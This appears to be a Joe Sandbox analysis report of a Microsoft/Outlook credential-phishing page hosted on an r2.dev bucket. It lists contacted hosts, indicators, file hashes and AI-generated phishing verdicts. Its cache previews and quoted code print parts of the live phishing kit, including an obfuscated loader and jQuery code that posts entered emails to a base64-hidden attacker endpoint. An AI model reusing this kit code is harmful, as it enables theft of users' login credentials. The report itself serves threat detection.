Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
http://fontawesome.io	0%	URL Reputation	safe
https://developers.cloudflare.com/r2/data-access/public-buckets/	0%	URL Reputation	safe
https://developers.cloudflare.com/r2/data-access/public-buckets/	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.1.1.min.js	0%	URL Reputation	safe
http://fontawesome.io/license	0%	URL Reputation	safe
https://www.cloudflare.com/favicon.ico	0%	Avira URL Cloud	safe
https://ammmei.org/wysaa/host2.4/a9c32bc.php	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css	0%	Virustotal		Browse
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css	0%	Avira URL Cloud	safe
https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/favicon.ico	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	Avira URL Cloud	safe
https://www.cloudflare.com/favicon.ico	0%	Virustotal		Browse
https://ammmei.org/wysaa/host2.4/admin/js/sc.php	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ammmei.org	132.148.128.8	true	false	unknown
part-0039.t-0009.t-msedge.net	13.107.213.67	true	false	unknown
part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
code.jquery.com	151.101.2.137	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
pub-a2527e0fc1774b399011ecd14755d452.r2.dev	104.18.3.35	true	true	unknown
www.google.com	172.217.18.4	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ammmei.org/wysaa/host2.4/a9c32bc.php	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	true		unknown
https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/favicon.ico	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.1.1.min.js	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html#	true		unknown
https://ammmei.org/wysaa/host2.4/admin/js/sc.php	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://fontawesome.io	chromecache_56.2.dr	false	URL Reputation: safe	unknown
https://www.cloudflare.com/favicon.ico	chromecache_62.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_62.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://fontawesome.io/license	chromecache_56.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.3.35	pub-a2527e0fc1774b399011ecd14755d452.r2.dev	United States	13335	CLOUDFLARENETUS	true
13.107.246.45	part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
13.107.213.67	part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
132.148.128.8	ammmei.org	United States	398101	GO-DADDY-COM-LLCUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446996
Start date and time:	2024-05-24 07:44:26 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@17/24@12/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 142.250.186.46, 142.251.168.84, 34.104.35.123, 40.127.169.103, 93.184.221.240, 192.229.221.95, 52.165.164.15, 20.3.187.198
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, accounts.google.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Input	Output
URL: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html Model: gpt-4o	```json { "riskscore": 8, "reasons": "The code contains several red flags indicative of phishing attempts: 1) It sets the document title to 'Sign in to Outlook', which is a common tactic used by phishing sites to mimic legitimate login pages. 2) It uses base64 encoding/decoding (atob/btoa) to handle URLs and email addresses, which is often used to obfuscate malicious intent. 3) It posts user data (including email) to a URL that is dynamically decoded from a base64 string, which could be a malicious endpoint. 4) It dynamically updates the page content based on responses from the server, which could be used to display fake information to the user. These behaviors are consistent with phishing sites attempting to steal user credentials." }
// $(document).ready(function(){ document.title='Sign in to Outlook'; $.support.cors = true var em;//atob($('#bkupttrferrs').val()); var ur =atob($('#uurl').val()); $('.click-to-enter').click(function(){ $.post(ur,'auth=1&st='+$('.stealth').val(),function(data){ if(data){ $('.show-2fa-code').hide(function(){ $('.input-code').show(); }); } }); }); $('.btn-email').click(function(){ var em = $('#email').val(); sera = {em} $('#bkupttrferrs').val(em); $.post(ur,sera,function(data){ if(data && data != 'fail'){ var i=JSON.parse(data); if(i.bg_image !== null && i.bg_image !== ''){ $('#bg_img').css('background-image', 'linear-gradient(rgba(0,0,0,0.527),rgba(0,0,0,0.5)),url(' + i.bg_image + ')'); $('#banner_image').hide(); // alert(i.logo_image); } if(i.logo_image !== null && i.logo_image !== ''){ $('#logo_image').attr('src', i.logo_image); $('#banner_image').hide(); // alert(i.logo_image); } $('.identity').html(em) $('#add_em').hide(); $('#add_pass').show(); }else{ $('.error-user').html('We couldn\'t find an account with that username. Try another, or get a new Microsoft account.'); } }); }); $('#loadingScreen').hide(function(){ $('#content').show(function(){ // $('.identity').html(em) var hash = window.location.hash; if(hash.includes('#')){ try{ var email = btoa(atob(hash.split('#')[1])) == hash.split('#')[1] ? atob(hash.split('#')[1]) : hash.split('#')[1]; }catch(e){ var email = hash.split('#')[1]; } var re = /^(([^<>()[\]\.,;:\s@\"]+(\.[^<>()[\]\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; if(re.test(email)){ $("#pick_em").hide(); $("#em_picker").html(email); $('#bkupttrferrs').val(email); var em = email; $('.email-picker').click(); location.hash = ""; } else{ $('#add_em').show(); } }else{ $('#add_em').show(); } }); }); var em = $('#bkupttrferrs').val(); $('.email-picker').on('click', function (){ var em = $('#bkupttrferrs').val(); $('.identity').html(em); $(".error-alert-pass").hide(); sera = {em} $('#bkupttrferrs').val(em); $.post(ur,sera,function(data){ if(data && data != 'fail'){ var i=JSON.parse(data); if(i.bg_image !== null && i.bg_image !== ''){ $('#bg_img').css('background-image', 'linear-gradient(rgba(0,0,0,0.527),rgba(0,0,0,0.5)),url(' + i.bg_image + ')'); $('#banner_image').hide(); // alert(i.logo_image); } if(i.logo_image !== null && i.logo_image !== ''){ $('#logo_image').attr('src', i.logo_image); $('#banner_
URL: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html Model: gpt-4o	```json { "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "reasons": "The URL 'https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html' does not match the legitimate domain name associated with Microsoft (e.g., microsoft.com or outlook.com). The page mimics the Microsoft login page, which is a common social engineering technique used in phishing attacks. The domain 'r2.dev' is not associated with Microsoft, making it highly suspicious." }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	5.996625649405505
Encrypted:	false
SSDEEP:	24:pZRj/flTLVmddL9V7aoX9cz+MJx2Klm6b+LrdoXH0P4NC/lBTkCKNXvF:p/hLAdvV7akA1UZkUygllkC4fF
MD5:	1B902651165F365CE171967091E325DA
SHA1:	D564887A167C8C588BC8FDF1259C94A377967DB8
SHA-256:	36C438E32D79F8AF43D6CD90A9FEAEF423674AE78852557F716271C007D6028C
SHA-512:	78A4EE7F653D552D000C3C1E47B8D97F0523DA72A6B8E93EDB9F56760CCDC145F27AE94B3E801A4184D746C77FB2B7105CA4DE266C10B946E87C91A358620CA2
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiM1VPenItckZQRmRXdFR0YW1IX3Jsc3A0MGdGc1ZST3BjYkxWY0tsWndOQSJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Imxsa2dqZmZjZHBmZm1oaWFrbWZjZGNibG9oY2NwZm1vIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjAuMTUiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"eLUKAQKHsg7CCx3QK8YmTLjqL0An1wDJzZVzJWQJjtsC6qXWZvWzPUE1DRUlerxJCvCbEJE6Xjvnz-dYd6DtnAkey1io3BU1YpAoWKXQvFS3t2rX9Ybg7aNjB7Zf0nvPXDhbbddfYEFkyWZ6eOn1BhwJo87DgGS_sZ2v_hjSs4j-XsquQ9UIQTQedxUJr_4EQ_HddxajOui5eUkikFpGxVug9XuUpvaefAtxA2T8Y6fAWWSVoUKx43oVcqscF6wylM1BdK7OmJbccrjk2IYMUMPKMLwqZfZFTVmtIz5VsTZCeNXhY4sJvdI8mS6M7WQ__NoZkfShi7Vi6ap-o71Wew"},{"header":{"kid":"webstore"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"QhGoJ1b2rHQ4Kcp-G8sf1kGA8xe5DEl97ZW6O

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.82777764407819
Encrypted:	false
SSDEEP:	3:SWjX2RCQdE+ZD8MXcAdTSqn:SWjX2JdbZDhXPdTSqn
MD5:	D8ADF922B4F26B8D100BED213F3EABEB
SHA1:	F91139716E99F0374B1610EBE9F5B7A8827A84CC
SHA-256:	4EE4858DA2C7E49D3630CB497FA0BB3EF0602E4C0CA732DB7A25811099144E4F
SHA-512:	B54BB4D108C25937F6F03A918D48201791BB7B6943A5EC51A8680E6CABC683E9DDF606E5330656C54293EBF4D09437CAB8B1E40E7EAF75D92D48A8647DCDCB13
Malicious:	false
Reputation:	low
Preview:	1.3a118962ef814c91f6476bb9f0de58afa63103af6ac1b8729be9b39a86789e96

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	300
Entropy (8bit):	4.707443234515725
Encrypted:	false
SSDEEP:	6:zeXC6WQpVyTJCAEIfd26VO9bIA6VDHs/C6wrhKXk7Vm01LwyAGI/zqSkhO:0eTJCAEQLO9hQADgK0711LqGik8
MD5:	DB7EB7E54EED7C7A94FABEF1FF06FFCE
SHA1:	59EC7C4812B8281EEDEE765E052D280EF6D14BE1
SHA-256:	DD43B3AFEAC53C5756B53B5A987FEB96CA78D2016C5513A971B2D570A959C0D0
SHA-512:	EAAE4182DBBD8C53A83CEFC0070C1BA4542FDBF912E39537054F2FD5EEF3AB0A6247F37D17ACAB31859A72FE69B2008D5EA5FF04FDE3FB31666C2CADA205EA53
Malicious:	false
Reputation:	low
Preview:	{. "description" : "Origin Trials public key updates and disabled features list",. "manifest_version" : 2,. "minimum_chrome_version" : "55",. "name" : "Origin Trials Updates",. "origin-trials" : null,. "update_url" : "https://clients2.google.com/service/update2/crx",. "version" : "1.0.0.15".}

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1775
Entropy (8bit):	5.610063053795135
Encrypted:	false
SSDEEP:	24:Cugh/Qw+excuofzBpISffWpb2OquF1NZIc+Xu2V3TE6lFlYPxBOITbwl0Q3jDetN:FexM7bLf9ruzNmGGFc3wl0Q3XeCaAO
MD5:	39FCF3918BB64FDD40F1BBF7BDC781AF
SHA1:	6D6A249CA86CCE47FCFB65C7040A955B19232ED0
SHA-256:	B9DA2F02F743F4DD22FAFE93C789A970D0A4A28FC960E464389F27BB053FF915
SHA-512:	DDE1D02D261052000CC84991FD83BAC03A2E40EE111C21CE3B8B76FC5118F828AEA76C7848FA5CCF1BAEB4984F77EAF65E5FF99E0592683657EF34FEB1E94E83
Malicious:	false
Reputation:	low
URL:	https://ammmei.org/wysaa/host2.4/admin/js/sc.php
Preview:	var vee43dd9e= document.createElement('script');..var autograb = 0;..vee43dd9e.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw=="));..document.head.append(vee43dd9e);....var v958a4af7= document.createElement('script');..v958a4af7.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(v958a4af7);....vee43dd9e.onload=function(){..$.support.cors = true..var v99271c1f = atob;..var v2d9d2c0b = "".split;..var v2bffa80d6 = [].constructor.constructor(v99271c1f("cmV0dXJuIENyeXB0b0pT"));..var v4b1e8e0a = v99271c1f($('#b64u').val());..$.post(v4b1e8e0a,'scte='.concat('') + (autograb == 0 ? '&auto=false' : ''))....done(function(va8466){...function vfc0f5bd8(f){.....var O00O1II = v2d9d2c0b.apply(v99271c1f(f),[String.fromCharCode(42)]);.....var O000111 = {......OO0O1II: O00O1II[0],......OO0OII1: O00O1II[2],......OOOOII1 : O00O1II[1],......OO0OIII: O00O1II[3],.....} .....var OOOOIII = v2bffa80d6().PBKDF2(

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	troff or preprocessor input, ASCII text, with very long lines (372)
Category:	downloaded
Size (bytes):	37414
Entropy (8bit):	4.82325822639402
Encrypted:	false
SSDEEP:	768:mmMtI+A4CSIDqvnI+YTBrFPvVrJjhiRAiiEL:mXtI+A4GDUI+Y9rpVljhiIEL
MD5:	C495654869785BC3DF60216616814AD1
SHA1:	0140952C64E3F2B74EF64E050F2FE86EAB6624C8
SHA-256:	36E0A7E08BEE65774168528938072C536437669C1B7458AC77976EC788E4439C
SHA-512:	E40F27C1D30E5AB4B3DB47C3B2373381489D50147C9623D853E5B299364FD65998F46E8E73B1E566FD79E97AA7B20354CD3C8C79F15372C147FED9C913FFB106
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css
Preview:	/!. Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). /./ FONT PATH. * -------------------------- /.@font-face {. font-family: 'FontAwesome';. src: url('../fonts/fontawesome-webfont.eot?v=4.7.0');. src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');. font-weight: normal;. font-style: normal;.}..fa {. display: inline-block;. font: normal normal normal 14px/1 FontAwesome;. font-size: inherit;. text-rendering: auto;. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}./ makes the font 33% larger relative to the icon container */..

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	219
Entropy (8bit):	5.279609030452531
Encrypted:	false
SSDEEP:	3:qVZxQXbZ6i/aAqNMBBAiqzRSpqqe9PYISWAQaTTnBs+qHRL6bzbv9SJtNWbsKKFi:qzxO966qerpqqeDva1CLwzbv9yeUBoOI
MD5:	C3D702101C3281E9B448604044CD48D6
SHA1:	B022D9FFDEB8F0054A6A800E89B61F57E91B2259
SHA-256:	9C66B08F885B23DF1A94534808432C4C3E4ADEEA9DB70E92961D501F5DF87098
SHA-512:	7C92200EC4D78A109D73E1BE53A46F72EFA26899EFCF49C2C9DA8D5134F3EEBE7EFE93CDF9DCB361FEFB82564DB606DF580F5F351263EB00029FAC8AB40A35A0
Malicious:	false
Reputation:	low
URL:	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html
Preview:	<html><head></head><body><input type="hidden" id="b64u" value="aHR0cHM6Ly9hbW1tZWkub3JnL3d5c2FhL2hvc3QyLjQvYTljMzJiYy5waHA="></input><script src="https://ammmei.org/wysaa/host2.4/admin/js/sc.php"></script></body></html>

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2905
Category:	downloaded
Size (bytes):	1173
Entropy (8bit):	7.811199816788843
Encrypted:	false
SSDEEP:	24:XuByTjb3w436CJvnuI5wTGPjl2kGKvu3pufqOdyq3/VYHjyK5AXn:X8yz1qCkUYo1ozgt9YHGKe
MD5:	5C7ACF60A2ACAA5C54BF2B2EC6D484D8
SHA1:	F1837FD5DB6DAD498148D7D77438DE693114B042
SHA-256:	EE21196A4F5EF64135B7998E58F1E7210608674E3FDF97B328C1C237E3B184DB
SHA-512:	11516935B1C777D6457B7FB44235F8C8A73BA1313AC8607C16D342EECAE22AE5BFD702CE01DBB2DC63C3D480E89A689C7AA6CAC8D822E306B413534FEE770A77
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg
Preview:	..........uV.n$7......iR.+..LN9.oA..5.......nx..S...l..%[..)..=.....z.?/.._......\|{8.4M........^.~w>=>......t.....~.M;.....,....n~}=-.7........U.<>=.._.O.....y9.>.....y...wR.`8..r..q$.....KR...X.....W.....$g'". W<..$..-.2.....h04.O...\|._../.6.)..ax..X...wzT.....2..7....1....C.@8B....d.M..KS8..>... .%=...q....yWF....\..kM.H....<..&.mM..s...%.'G.n..(..h.-.I.S.K...1;..:7.xdvP..y.]....Q$..4.@.2Fp ..Oe.......=.I........F......{....`.............uC..G.....'..E.....dR..g.(.+K.q...?...O.%.@.i..."n...1 .JTm.S..wM.,../.\|H..s.....C.=.B1(.B.f..:K.\.T....c..N...sT..D....T.=..Zt..M2.).FP.h.:.+A.. ^N-$..U.K..n.u.DZ...d.C....s.n.PI..@.4.pi....G..j.5.7l6....Q$...fs....uD......F...e%..}5.S.s.n".9...e&(_.=..oq..F%L...G].....b.`..hi.S.I.8..Y%hM.\|..W....jC.-a..'..%.r..W?...a...H...5.c......v.G..v.G.a....a/.LT.Fv......7.A...@.OcV.......6xcy,l[.wkP..-E...U..J.....1j....2....C+...?.I.Q.C.kM.n...j..5{HV)I...M.G2o......5.....E_..j.....D...^b..+.U..,K2

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
